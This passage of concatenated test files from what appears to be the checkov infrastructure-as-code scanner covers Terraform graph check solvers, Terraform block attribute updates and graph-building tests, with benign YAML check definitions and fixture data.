TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class ConnectionSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(ConnectionSolver, self).setUp() def test_connection_not_found(self): root_folder = '../../../checks/resources/VPCHasOneOfWantedFlowLogs' check_id = "VPCHasOneOfWantedFlowLogs" should_pass = ['aws_vpc.ok_vpc', 'aws_vpc.ok_vpc1'] should_fail = ['aws_vpc.not_ok_vpc', 'aws_vpc.not_ok_vpc2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/or_connection_solver/SpecificInstanceComplexConnection.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: SpecificInstanceComplexConnection scope: provider: AWS definition: or: - cond_type: filter value: - aws_network_interface - aws_instance operator: within attribute: resource_type - cond_type: connection operator: exists resource_types: - aws_instance connected_resource_types: - aws_network_interface - cond_type: connection operator: exists resource_types: - aws_subnet connected_resource_types: - aws_vpc - cond_type: attribute attribute: tags.Env operator: equals value: prod resource_types: - aws_instance - aws_network_interface - aws_subnet - aws_vpc ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/or_connection_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/connection_solvers/or_connection_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class ConnectionSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(ConnectionSolver, self).setUp() def test_or_connection(self): root_folder = '../../../resources/ec2_instance_network_interfaces' check_id = "SpecificInstanceComplexConnection" should_pass = ['aws_instance.instance_foo', 'aws_network_interface.network_interface_foo', 'aws_instance.instance_bar'] should_fail = ['aws_network_interface.network_interface_goo'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/resource_solvers/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/resource_solvers/exists_solver/ResourceAllowList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "ResourceAllowList" scope: provider: "AWS" definition: cond_type: "resource" resource_types: - "aws_s3_bucket" operator: "exists" ================================================ FILE: tests/terraform/graph/checks_infra/resource_solvers/exists_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/resource_solvers/exists_solver/test_solver.py ================================================ from pathlib import Path from parameterized import parameterized_class from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = Path(__file__).parent @parameterized_class([{"graph_framework": "NETWORKX"}, {"graph_framework": "IGRAPH"}]) class ExistsSolver(TestBaseSolver): def setUp(self): self.checks_dir = str(TEST_DIRNAME) super().setUp() def test_allow_list(self): # given root_folder = TEST_DIRNAME.parents[2] / "resources/encryption_test" check_id = "ResourceAllowList" should_pass = [ "aws_s3_bucket.encrypted_bucket", "aws_s3_bucket.unencrypted_bucket", ] should_fail = [ "aws_rds_cluster.rds_cluster_encrypted", "aws_rds_cluster.rds_cluster_unencrypted", "aws_neptune_cluster.encrypted_neptune", "aws_neptune_cluster.unencrypted_neptune", ] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} # when/then self.run_test(root_folder=str(root_folder), expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/resource_solvers/not_exists_solver/ResourceDenyList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "ResourceDenyList" scope: provider: "AWS" definition: cond_type: "resource" resource_types: - "aws_s3_bucket" operator: "not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/resource_solvers/not_exists_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/resource_solvers/not_exists_solver/test_solver.py ================================================ from pathlib import Path from parameterized import parameterized_class from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = Path(__file__).parent @parameterized_class([{"graph_framework": "NETWORKX"}, {"graph_framework": "IGRAPH"}]) class TestNotExistsSolver(TestBaseSolver): def setUp(self): self.checks_dir = str(TEST_DIRNAME) super().setUp() def test_deny_list(self): # given root_folder = TEST_DIRNAME.parents[2] / "resources/encryption_test" check_id = "ResourceDenyList" should_fail = [ "aws_s3_bucket.encrypted_bucket", "aws_s3_bucket.unencrypted_bucket", ] expected_results = {check_id: {"should_fail": should_fail}} # when/then self.run_test(root_folder=str(root_folder), expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/test_base.py ================================================ import os from unittest import TestCase from unittest import mock from parameterized import parameterized_class from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.checks_infra.registry import Registry from checkov.terraform.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS @parameterized_class( PARAMETERIZED_GRAPH_FRAMEWORKS ) class TestBaseSolver(TestCase): checks_dir = "" def setUp(self): with mock.patch.dict(os.environ, {"CHECKOV_GRAPH_FRAMEWORK": self.graph_framework}): self.source = "Terraform" self.registry = Registry(parser=GraphCheckParser(), checks_dir=self.checks_dir) self.registry.load_checks() self.runner = Runner(external_registries=[self.registry]) def run_test(self, root_folder, expected_results, check_id): root_folder = os.path.realpath(os.path.join(self.checks_dir, root_folder)) report = self.runner.run(root_folder=root_folder, runner_filter=RunnerFilter(checks=[check_id])) verification_results = verify_report(report=report, expected_results=expected_results) self.assertIsNone(verification_results, verification_results) def test_unrendered_variable_source(self): self.assertTrue(BaseAttributeSolver._is_variable_dependant("var.location", "Terraform")) self.assertTrue(BaseAttributeSolver._is_variable_dependant("var.location", "terraform")) def verify_report(report, expected_results): for check_id in expected_results: found = False should_pass_checks = expected_results[check_id].get('should_pass', []) for resource in should_pass_checks: for record in report.passed_checks: if record.check_id == check_id and record.resource == resource: found = True break if not found: return f"expected resource {resource} to pass in check {check_id}" found = False should_fail_checks = expected_results[check_id].get('should_fail', []) for resource in should_fail_checks: for record in report.failed_checks: if record.check_id == check_id and record.resource == resource: found = True break if not found: return f"expected resource {resource} to fail in check {check_id}" return None ================================================ FILE: tests/terraform/graph/checks_infra/test_base_attribute_solver.py ================================================ from unittest.mock import MagicMock from pytest_mock import MockerFixture from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver def test_get_cached_jsonpath_statement(mocker: MockerFixture): # given BaseAttributeSolver.jsonpath_parsed_statement_cache = {} # reset cache statement = "policy.Statement[?(@.Effect == Allow)].Action[*]" solver_1 = BaseAttributeSolver( resource_types=["aws_iam_policy"], attribute=statement, value="iam:*", is_jsonpath_check=True, ) solver_2 = BaseAttributeSolver( resource_types=["aws_iam_policy"], attribute=statement, value="iam:*", is_jsonpath_check=True, ) jsonpath_parse_mock = MagicMock() assert len(BaseAttributeSolver.jsonpath_parsed_statement_cache) == 0 # when solver_1._get_cached_jsonpath_statement(statement=statement) assert len(BaseAttributeSolver.jsonpath_parsed_statement_cache) == 1 # patch jsonpath_ng.parse to be able to check it was really not called again and the cache was properly used mocker.patch("checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver.parse", side_effect=jsonpath_parse_mock) solver_2._get_cached_jsonpath_statement(statement=statement) # then assert len(BaseAttributeSolver.jsonpath_parsed_statement_cache) == 1 jsonpath_parse_mock.assert_not_called() # jsonpath_ng.parse shouldn't have been called again ================================================ FILE: tests/terraform/graph/db_connector/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/db_connector/test_graph_connector.py ================================================ import os from unittest import TestCase from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.terraform.tf_parser import TFParser TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestGraphConnector(TestCase): def test_creating_networkx_graph(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/encryption')) hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(resources_dir, 'AWS') local_graph = TerraformLocalGraph(module) local_graph._create_vertices() nxc = NetworkxConnector() nxc.save_graph(local_graph) def test_creating_rustworkx_graph(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/encryption')) hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(resources_dir, 'AWS') local_graph = TerraformLocalGraph(module) local_graph._create_vertices() igc = RustworkxConnector() igc.save_graph(local_graph) ================================================ FILE: tests/terraform/graph/graph_builder/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/graph_builder/graph_components/test_blocks.py ================================================ from unittest import TestCase import os from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock from checkov.terraform.graph_manager import TerraformGraphManager from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestBlocks(TestCase): def test_update_inner_attribute_1(self): config = { "aws_security_group": { "test": { "name": ["test"], "vpc_id": ["${aws_vpc.vpc_main.id}"], "tags": [{"Name": "test"}], "description": ["test - Elasticsearch Cluster"], "ingress": [ { "from_port": [443], "to_port": [443], "protocol": ["tcp"], "security_groups": [ ["${aws_security_group.test.id}", "${data.aws_security_group.test.id}"] ], } ], } } } block = TerraformBlock( name="aws_security_group.test", config=config, path="test_path", block_type=BlockType.RESOURCE, attributes=config["aws_security_group"]["test"], ) block.update_inner_attribute( attribute_key="ingress.security_groups.0", nested_attributes=block.attributes, value_to_update="sg-0" ) block.update_inner_attribute( attribute_key="ingress.security_groups.1", nested_attributes=block.attributes, value_to_update="sg-1" ) self.assertEqual( "sg-0", block.attributes["ingress.security_groups.0"], f"failed to update ingress.security_groups.0, got {block.attributes['ingress.security_groups.0']}", ) self.assertEqual( "sg-1", block.attributes["ingress.security_groups.1"], f"failed to update ingress.security_groups.1, got {block.attributes['ingress.security_groups.1']}", ) self.assertEqual( "sg-0", block.attributes["ingress"]["security_groups"][0], f"failed to update block.attributes['ingress']['security_groups'][0], got {block.attributes['ingress']['security_groups'][0]}", ) self.assertEqual( "sg-1", block.attributes["ingress"]["security_groups"][1], f"failed to update block.attributes['ingress']['security_groups'][1], got {block.attributes['ingress']['security_groups'][1]}", ) def test_update_inner_attribute_2(self): config = { "aws_security_group": { "test": { "name": ["test"], "vpc_id": ["${aws_vpc.vpc_main.id}"], "ingress": [ { "from_port": [53], "to_port": [53], "protocol": ["udp"], "security_groups": [ [ "${data.test1.id}", "${data.test2.id}", "${data.test3.id}", "${data.test4.id}", "${data.test5.id}", "${data.test6.id}", ] ], "cidr_blocks": [["test1", "${var.test2}", "${var.test4}"]], }, { "from_port": [53], "to_port": [53], "protocol": ["tcp"], "security_groups": [ [ "${data.test1.id}", "${data.test2.id}", "${data.test3.id}", "${data.test4.id}", "${data.test5.id}", "${data.test6.id}", ] ], "cidr_blocks": [["test", "${var.test}", "${var.v3}"]], }, ], } } } block = TerraformBlock( name="aws_security_group.test", config=config, path="test_path", block_type=BlockType.RESOURCE, attributes=config["aws_security_group"]["test"], ) block.update_inner_attribute( attribute_key="ingress.0.cidr_blocks.1", nested_attributes=block.attributes, value_to_update="sg-1" ) self.assertEqual( "sg-1", block.attributes["ingress.0.cidr_blocks.1"], f"failed to update ingress.0.cidr_blocks.1, got {block.attributes['ingress.0.cidr_blocks.1']}", ) self.assertEqual( "sg-1", block.attributes["ingress"][0]["cidr_blocks"][1], f"failed to update block.attributes['ingress'][0]['cidr_blocks'][1], got {block.attributes['ingress'][0]['cidr_blocks'][1]}", ) def test_update_inner_attribute_3(self): config = { "aws_iam_policy_document": { "vcs_webhook_step_function_execution_policy": { "statement": [ { "actions": [["events:DescribeRule", "events:PutRule", "events:PutTargets"]], "effect": ["Allow"], "resources": [ [ "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule", "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule", ] ], }, { "actions": [["states:StartExecution"]], "effect": ["Allow"], "resources": [ [ "arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:${module.consts.bc_checkov_scanner_step_function_name}*" ] ], }, { "actions": [["lambda:InvokeFunction"]], "effect": ["Allow"], "resources": [ "${formatlist(\"%s%s\",\"arn:aws:lambda:${var.region}:${data.aws_caller_identity.current.account_id}:function:\",concat(['${local.vcs_webhook_lambda_name}', '${local.customer_api_lambda}']))}" ], }, ] } } } block = TerraformBlock( name="aws_iam_policy_document.vcs_webhook_step_function_execution_policy", config=config, path="test_path", block_type=BlockType.DATA, attributes=config["aws_iam_policy_document"]["vcs_webhook_step_function_execution_policy"], ) block.update_inner_attribute( attribute_key="statement.1.resources.0", nested_attributes={ "statement": [ { "actions": ["events:DescribeRule", "events:PutRule", "events:PutTargets"], "effect": "Allow", "resources": [ "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule", "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule", ], }, { "actions": "states:StartExecution", "effect": "Allow", "resources": "arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*", }, { "actions": "lambda:InvokeFunction", "effect": "Allow", "resources": "${formatlist(\"%s%s\",\"arn:aws:lambda:${var.region}:${data.aws_caller_identity.current.account_id}:function:\",concat(['${local.vcs_webhook_lambda_name}', '${local.customer_api_lambda}']))}", }, ], "statement.0": { "actions": ["events:DescribeRule", "events:PutRule", "events:PutTargets"], "effect": "Allow", "resources": [ "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule", "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule", ], }, "statement.0.actions": ["events:DescribeRule", "events:PutRule", "events:PutTargets"], "statement.0.actions.0": "events:DescribeRule", "statement.0.actions.1": "events:PutRule", "statement.0.actions.2": "events:PutTargets", "statement.0.effect": "Allow", "statement.0.resources": [ "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule", "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule", ], "statement.0.resources.0": "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule", "statement.0.resources.1": "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule", "statement.1": { "resources": "arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*" }, "statement.1.actions": "states:StartExecution", "statement.1.actions.0": "states:StartExecution", "statement.1.effect": "Allow", "statement.1.resources": "arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*", "statement.1.resources.0": "arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*", "statement.2": { "actions": "lambda:InvokeFunction", "effect": "Allow", "resources": "${formatlist(\"%s%s\",\"arn:aws:lambda:${var.region}:${data.aws_caller_identity.current.account_id}:function:\",concat(['${local.vcs_webhook_lambda_name}', '${local.customer_api_lambda}']))}", }, "statement.2.actions": "lambda:InvokeFunction", "statement.2.actions.0": "lambda:InvokeFunction", "statement.2.effect": "Allow", "statement.2.resources": "${formatlist(\"%s%s\",\"arn:aws:lambda:${var.region}:${data.aws_caller_identity.current.account_id}:function:\",concat(['${local.vcs_webhook_lambda_name}', '${local.customer_api_lambda}']))}", }, value_to_update="arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*", ) self.assertIn( block.attributes["statement.0.resources.1"], [ "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule", "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule", ], ) self.assertIn( block.attributes["statement.0.resources.0"], [ "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule", "arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule", ], ) def test_update_complex_key(self): config = { "labels": [ { "app.kubernetes.io/name": "${local.name}", "app.kubernetes.io/instance": "hpa", "app.kubernetes.io/version": "1.0.0", "app.kubernetes.io/managed-by": "terraform", } ] } attributes = { "labels": { "app.kubernetes.io/name": "${local.name}", "app.kubernetes.io/instance": "hpa", "app.kubernetes.io/version": "1.0.0", "app.kubernetes.io/managed-by": "terraform", }, "labels.app.kubernetes.io/name": "${local.name}", "labels.app.kubernetes.io/instance": "hpa", "labels.app.kubernetes.io/version": "1.0.0", "labels.app.kubernetes.io/managed-by": "terraform", } block = TerraformBlock( name="test_local_name", config=config, path="", block_type=BlockType.LOCALS, attributes=attributes ) block.update_inner_attribute( attribute_key="labels.app.kubernetes.io/name", nested_attributes=attributes, value_to_update="dummy value" ) self.assertEqual("dummy value", block.attributes["labels.app.kubernetes.io/name"]) def test_update_complex_key2(self): config = {} attributes = { "var.owning_account": { "route_to": None, "route_to_cidr_blocks": "${local.allowed_cidrs}", "static_routes": None, "subnet_ids": "${local.own_vpc.private_subnet_ids}", "subnet_route_table_ids": "${local.own_vpc.private_route_table_ids}", "transit_gateway_vpc_attachment_id": None, "vpc_cidr": "${local.own_vpc.vpc_cidr}", "vpc_id": "${local.own_vpc.vpc_id}", } } block = TerraformBlock( name="test_local_name", config=config, path="", block_type=BlockType.LOCALS, attributes=attributes ) value_to_update = "test" block.update_inner_attribute( attribute_key="var.owning_account.vpc_cidr", nested_attributes=attributes, value_to_update=value_to_update ) self.assertDictEqual( {"var.owning_account": block.attributes["var.owning_account"]}, { "var.owning_account": { "route_to": None, "route_to_cidr_blocks": "${local.allowed_cidrs}", "static_routes": None, "subnet_ids": "${local.own_vpc.private_subnet_ids}", "subnet_route_table_ids": "${local.own_vpc.private_route_table_ids}", "transit_gateway_vpc_attachment_id": None, "vpc_cidr": "test", "vpc_id": "${local.own_vpc.vpc_id}", } }, ) def test_update_inner_attribute_bad_index(self): config = {"aws_security_group": {"test": {}}} nested_attributes = { "provisioner/remote-exec.connection": {"private_key": "${file(var.ssh_key_path)}", "user": "ec2-user"}, "provisioner/remote-exec.connection.private_key": "${file(var.ssh_key_path)}", "provisioner/remote-exec.connection.user": "ec2-user", "provisioner/remote-exec.inline": ["command"], "provisioner/remote-exec.inline.0": "command0", "provisioner/remote-exec.inline.1": "command1", "provisioner/remote-exec.inline.2": "command2", "provisioner/remote-exec.inline.3": "command3", "provisioner/remote-exec.inline.4": "command4", } block = TerraformBlock( name="aws_security_group.test", config=config, path="test_path", block_type=BlockType.RESOURCE, attributes=nested_attributes, ) block.update_inner_attribute( attribute_key="provisioner/remote-exec.inline.3", nested_attributes=nested_attributes, value_to_update="new_command_3", ) self.assertEqual( "new_command_3", block.attributes["provisioner/remote-exec.inline.3"], f"failed to update provisioner/remote-exec.inline.3, got {block.attributes['provisioner/remote-exec.inline.3']}", ) def test_update_inner_attribute_bad_map_entry(self): config = {"aws_security_group": {"test": {}}} nested_attributes = { "triggers": { "change_endpoint_name": '${md5("my_dev_endpoint")}', "change_extra_jars_s3_path": "${md5()}", "change_extra_python_libs_s3_path": "${md5()}", "change_number_of_nodes": '${md5("2")}', "change_public_keys": '${md5("${var.glue_endpoint_public_keys}")}', "change_region": '${md5("us-east-1")}', "change_role": '${md5("arn:aws:iam::111111111111:role/my_role")}', "change_security_configuration": "${md5()}", "change_security_group_ids": '${md5("${var.glue_endpoint_security_group_ids}")}', "change_subnet_id": "${md5()}", }, "provisioner/local-exec": { "command": "echo 'info: destroy ignored because part of apply'", "when": "destroy", }, "provisioner/local-exec.command": "echo 'info: destroy ignored because part of apply'", "provisioner/local-exec.environment": { "endpoint_name": "${var.glue_endpoint_name}", "extra_jars_s3_path": "${var.glue_endpoint_extra_jars_libraries}", "extra_python_libs_s3_path": "${var.glue_endpoint_extra_python_libraries}", "number_of_nodes": "${var.glue_endpoint_number_of_dpus}", "public_keys": '${join(",",var.glue_endpoint_public_keys)}', "region": "${var.aws_region}", "role_arn": "${var.glue_endpoint_role}", "security_configuration": "${var.glue_endpoint_security_configuration}", "security_group_ids": '${join(",",var.glue_endpoint_security_group_ids)}', "subnet_id": "${var.glue_endpoint_subnet_id}", }, "provisioner/local-exec.environment.endpoint_name": "my_dev_endpoint", "provisioner/local-exec.environment.extra_jars_s3_path": "", "provisioner/local-exec.environment.extra_python_libs_s3_path": "", "provisioner/local-exec.environment.number_of_nodes": 2, "provisioner/local-exec.environment.public_keys": '${join(",",var.glue_endpoint_public_keys)}', "provisioner/local-exec.environment.region": "us-east-1", "provisioner/local-exec.environment.role_arn": "arn:aws:iam::111111111111:role/my_role", "provisioner/local-exec.environment.security_configuration": "", "provisioner/local-exec.environment.security_group_ids": '${join(",",var.glue_endpoint_security_group_ids)}', "provisioner/local-exec.environment.subnet_id": "", "provisioner/local-exec.when": "destroy", "resource_type": ["null_resource"], "triggers.change_endpoint_name": '${md5("my_dev_endpoint")}', "triggers.change_extra_jars_s3_path": "${md5()}", "triggers.change_extra_python_libs_s3_path": "${md5()}", "triggers.change_number_of_nodes": '${md5("2")}', "triggers.change_public_keys": '${md5("${var.glue_endpoint_public_keys}")}', "triggers.change_region": '${md5("us-east-1")}', "triggers.change_role": '${md5("arn:aws:iam::111111111111:role/my_role")}', "triggers.change_security_configuration": "${md5()}", "triggers.change_security_group_ids": '${md5("${var.glue_endpoint_security_group_ids}")}', "triggers.change_subnet_id": "${md5()}", } block = TerraformBlock( name="null_resource.glue_endpoint_apply", config=config, path="test_path", block_type=BlockType.RESOURCE, attributes=nested_attributes, ) attribute_key = "provisioner/local-exec.environment.security_configuration" block.update_inner_attribute( attribute_key=attribute_key, nested_attributes=nested_attributes, value_to_update="" ) self.assertEqual( "", block.attributes[attribute_key], f"failed to update provisioner/remote-exec.inline.3, got {block.attributes[attribute_key]}", ) def test_malformed_provider_block(self): resources_dir = os.path.join(TEST_DIRNAME, '../../resources/malformed_provider') graph_manager = TerraformGraphManager(db_connector=NetworkxConnector()) graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir) expected_num_of_provider_nodes = 0 vertices_by_block_type = graph.vertices_by_block_type self.assertEqual(expected_num_of_provider_nodes, len(vertices_by_block_type[BlockType.PROVIDER])) ================================================ FILE: tests/terraform/graph/graph_builder/test_graph_builder.py ================================================ import os import shutil from unittest import TestCase, mock from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.terraform.graph_manager import TerraformGraphManager from checkov.common.graph.graph_builder import CustomAttributes from checkov.terraform.modules.module_utils import external_modules_download_path from checkov.terraform.plan_utils import create_definitions TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestGraphBuilder(TestCase): def test_build_graph(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/general_example') graph_manager = TerraformGraphManager(db_connector=NetworkxConnector()) graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir) expected_num_of_var_nodes = 3 expected_num_of_locals_nodes = 1 expected_num_of_resources_nodes = 1 expected_num_of_provider_nodes = 1 vertices_by_block_type = graph.vertices_by_block_type self.assertEqual(expected_num_of_var_nodes, len(vertices_by_block_type[BlockType.VARIABLE])) self.assertEqual(expected_num_of_locals_nodes, len(vertices_by_block_type[BlockType.LOCALS])) self.assertEqual(expected_num_of_resources_nodes, len(vertices_by_block_type[BlockType.RESOURCE])) self.assertEqual(expected_num_of_provider_nodes, len(vertices_by_block_type[BlockType.PROVIDER])) provider_node = graph.vertices[vertices_by_block_type[BlockType.PROVIDER][0]] resource_node = graph.vertices[vertices_by_block_type[BlockType.RESOURCE][0]] local_node = graph.vertices[graph.vertices_block_name_map[BlockType.LOCALS]["bucket_name"][0]] var_bucket_name_node = None var_region_node = None var_aws_profile_node = None for index in vertices_by_block_type[BlockType.VARIABLE]: var_node = graph.vertices[index] if var_node.name == 'aws_profile': var_aws_profile_node = var_node if var_node.name == 'bucket_name': var_bucket_name_node = var_node if var_node.name == 'region': var_region_node = var_node self.check_edge(graph, resource_node, local_node, 'bucket') self.check_edge(graph, resource_node, provider_node, 'provider') self.check_edge(graph, resource_node, var_region_node, 'region') self.check_edge(graph, provider_node, var_aws_profile_node, 'profile') self.check_edge(graph, local_node, var_bucket_name_node, 'bucket_name') def check_edge(self, graph, node_from, node_to, expected_label): hashed_from = node_from.get_hash() hashed_to = node_to.get_hash() matching_edges = [] for edge in graph.edges: if graph.vertices[edge.origin].get_hash() == hashed_from and graph.vertices[edge.dest].get_hash() == hashed_to: matching_edges.append(edge) self.assertGreater(len(matching_edges), 0, f'expected to find edge from [{node_from.block_type} {node_from.name}] to [{node_to.block_type} {node_to.name}] with label [{expected_label}]') if not any(e.label == expected_label for e in matching_edges): self.fail( f'expected to find edge from [{node_from.block_type} {node_from.name}] to [{node_to.block_type} {node_to.name}] with label [{expected_label}], found edges: {[str(e) for e in matching_edges]}') @staticmethod def get_vertex_by_name_and_type(local_graph, block_type, name, multiple=False): vertices = [local_graph.vertices[i] for i in local_graph.vertices_block_name_map[block_type][name]] if multiple: return vertices return vertices[0] def test_update_vertices_configs_deep_nesting(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_deep_nesting') graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) expected_config = { "aws_s3_bucket": { "default": { "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ {"kms_master_key_id": [""], "sse_algorithm": ["AES256"]} ] } ] } ], "__start_line__": 1, "__end_line__": 10, "__address__": "aws_s3_bucket.default" } } } actual_config = local_graph.vertices[local_graph.vertices_by_block_type.get(BlockType.RESOURCE)[0]].config self.assertDictEqual(expected_config, actual_config) @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_FOREACH_HANDLING": "False"}) def test_build_graph_with_linked_modules(self): # see the image to view the expected graph in tests/resources/modules/linked_modules/expected_graph.png resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules/linked_modules')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=False) vertices_by_block_type = local_graph.vertices_by_block_type expected_vertices_num_by_type = { BlockType.VARIABLE: 5, BlockType.RESOURCE: 5, BlockType.OUTPUT: 3, BlockType.MODULE: 2, BlockType.DATA: 1, } for block_type, count in expected_vertices_num_by_type.items(): self.assertEqual(count, len(vertices_by_block_type[block_type])) output_this_lambda_func_arn = self.get_vertex_by_name_and_type(local_graph, BlockType.OUTPUT, 'this_lambda_function_arn') output_this_lambda_func_name = self.get_vertex_by_name_and_type(local_graph, BlockType.OUTPUT, 'this_lambda_function_name') output_this_s3_bucket_id = self.get_vertex_by_name_and_type(local_graph, BlockType.OUTPUT, 'this_s3_bucket_id') resource_aws_lambda_function = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_lambda_function.this') resource_aws_s3_bucket_policy = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket_policy.this') resource_aws_s3_bucket = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.this') self.check_edge(local_graph, node_from=output_this_lambda_func_arn, node_to=resource_aws_lambda_function, expected_label='value') self.check_edge(local_graph, node_from=output_this_lambda_func_name, node_to=resource_aws_lambda_function, expected_label='value') self.check_edge(local_graph, node_from=output_this_s3_bucket_id, node_to=resource_aws_s3_bucket_policy, expected_label='value') self.check_edge(local_graph, node_from=output_this_s3_bucket_id, node_to=resource_aws_s3_bucket, expected_label='value') @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_FOREACH_HANDLING": "False"}) def test_build_graph_with_linked_registry_modules(self): resources_dir = os.path.realpath( os.path.join(TEST_DIRNAME, '../resources/modules/registry_security_group_inner_module')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True, download_external_modules=True) outputs_vpcs = self.get_vertex_by_name_and_type(local_graph, BlockType.OUTPUT, 'security_group_vpc_id', multiple=True) resource_flow_log = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 